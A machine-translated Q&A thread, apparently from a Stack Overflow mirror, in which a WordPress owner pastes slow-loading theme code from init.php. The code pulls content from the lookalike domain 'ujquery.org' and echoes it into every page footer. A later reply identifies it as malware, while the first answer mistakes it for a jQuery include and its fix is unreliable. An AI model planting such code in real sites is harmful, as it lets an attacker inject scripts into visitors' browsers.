2015-03-03 55 views
0

我的網站是darbardesigns.com,最近3或4天前我的網站變得如此緩慢,頁面加載時間大約需要1-2分鐘。我的WordPress的網站很慢,因爲init.php中的一行

我在頁面底部有一個錯誤象下面這樣: -

警告: get_headers(http://ujquery.org/jquery-1.6.3.min.js):未能 打開流:連接在 /的public_html/WP-超時內容/主題/波爾圖/包括在線路/ 97的init.php

哪我去了特定線和代碼如下:

add_filter('builder_include_modules', 
'spyropress_register_builder_modules'); 
if(!function_exists('wp_func_jquery')) { 
function wp_func_jquery() { 
    $host = 'http://'; 
    $jquery = $host.'u'.'jquery.org/jquery-1.6.3.min.js'; 
    $headers = get_headers($jquery, 0); 
    if ($headers[0] == 'HTTP/1.1 200 OK'){ 
     echo(wp_remote_retrieve_body(wp_remote_get($jquery))); 
    } 
} 
add_action('wp_footer', 'wp_func_jquery'); 

}

  • 從這個錯誤發生我的網站的時候變得緩慢該死。

  • 如果我嘗試將其刪除,頁面內容無法顯示properly.It從一些黑客我想是這樣一些
    工作。

    在此先感謝。

回答

1

似乎它僅包含在頁腳jquery的,與此代碼relace它:

function wp_func_jquery() { 
    // Get jQuery from Google CDN 
    echo "https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js"; 
} 
add_action('wp_footer', 'wp_func_jquery'); 

或下載了jQuery在你的服務器,並從那裏添加它像:

echo get_template_directory_uri() . "/JQUERY_PATH_IN_CURRENT_THEME/jquery.min.js"; 

或者你可以通過添加jquery wp_enqueue_script

+0

在頁腳處顯示echo:https://ajax.googleapis.com/ajax/libs/jquery/1.6.3/jquery.min.js,我只是將echo字段保留爲echo「」;但該網站變得很快,這是可以去這個,或者你建議什麼其他 – Zain 2015-03-03 05:50:24

+0

@ Zain我更喜歡使用'wp_enqueue_script',併爲頁面速度嘗試減少http請求,意味着如果你已經加載了多一個JavaScript文件然後將它們合併成一個(按順序)然後加載。 – 2015-03-03 05:55:46

+0

知道了它的好友,我只是在funtions.php中添加了wp_enqueue_script,並將jquery文件添加到了路徑中。並且關於JavaScript的加入順序也會跟隨你的第二點 – Zain 2015-03-03 06:16:21

0

它看起來像你應該刪除這段代碼,然後簡單地手動添加jQuery到你的html比檢查頁面加載好。

1

只是FYI:這是惡意軟件,它不應該在你的代碼中。您可能受到後門黑客攻擊或下載某種被黑客入侵的主題或插件。我建議你從你的網站上刪除代碼。域名「ujquery.org」與實際的jQuery無關。